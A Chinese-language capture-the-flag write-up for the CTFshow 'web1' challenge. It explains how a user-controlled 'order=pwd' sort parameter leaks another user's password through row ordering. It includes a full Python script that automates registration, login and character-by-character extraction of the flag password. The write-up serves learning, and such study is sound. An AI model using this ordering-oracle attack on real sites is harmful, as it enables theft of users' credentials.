CTFshow web1

题目地址:https://ctf.show

扫描后台拿到源码(www.zip)。打开login.php能禁的基本都禁干净了,登录页面貌似没有注入的可能。reg.php也是如此,所以注册页面也没可能了。剩下最后一个就是显示信息的页面了。这里可以看到在数据库中是把所有的字段(包括密码)都给查出来了,但是没有显示密码的地方。
在这里插入图片描述
在这里插入图片描述
我们可以利用?order=pwd来判断注册的密码与flag用户密码的大小(即 select * from user order by pwd;),当我们按照pwd排序时,比如 flag用户的密码为flag{123},我们从小到大 一直到f都在他的上面,当我们注册的密码为g时,则出现第一个在下面的
顺序大致是这样,这时我们就可以判断密码的第一个字符为f,手工的话会比较麻烦,这里献上python脚本。
在这里插入图片描述

#author 羽
import requests
url="https://fa8f49b7-5fc6-4dcb-97a1-b0e842429a9b.chall.ctf.show"
url1=url+"/reg.php" #注册页面
url2=url+"/login.php"#登录界面
url3=url+"/user_main.php?order=pwd" #查询界面
k=""
s="-.0123456789:abcdefghijklmnopqrstuvwxyz{|}~"
for j in range(0,45):
    print("*")
    for i in s:
        #print(i)
        l=""
        l=k+i
        l2 = k+chr(ord(i)-1)
        data={'username':l,
                    'email':'c',
                    'nickname':'c',
                    'password':l
        }
        data2={'username':l,
                      'password':l
        }
        if (l=='flag'):
            k='flag'
            print(k)
            break
        session = requests.session()
        r1 = session.post(url1,data)
        r2 = session.post(url2,data)
        r3 = session.get(url3)
        t = r3.text
        #print(l)
        if (t.index("<td>"+l+"</td>")>t.index("<td>[email protected]</td>")):
            k=l2
            print(k)
            break
         

关于s中的字符是怎么来的这里做下解释:
动态的flag一般是 flag{1abc-aaa}这种,花括号中的值为小写字母+数字+"-"的组合,那么其他的字符又是为什么添加进来呢,这是因为我写的脚本是注册的用户出现在flag用户的下面时,获得他的上一个字符串。比如第一个字符为-,那当我们注册的密码为点号(.)时才能判断,所以需要加上点号(.),其他的同理。

特殊说明一下:
因为存在flag用户所以当我们注册的用户名为flag,密码为flag时,可以注册成功,但是无法用我们注册的密码登录。所以中间加了个判断。

猜你喜欢

转载自blog.csdn.net/miuzzx/article/details/104514442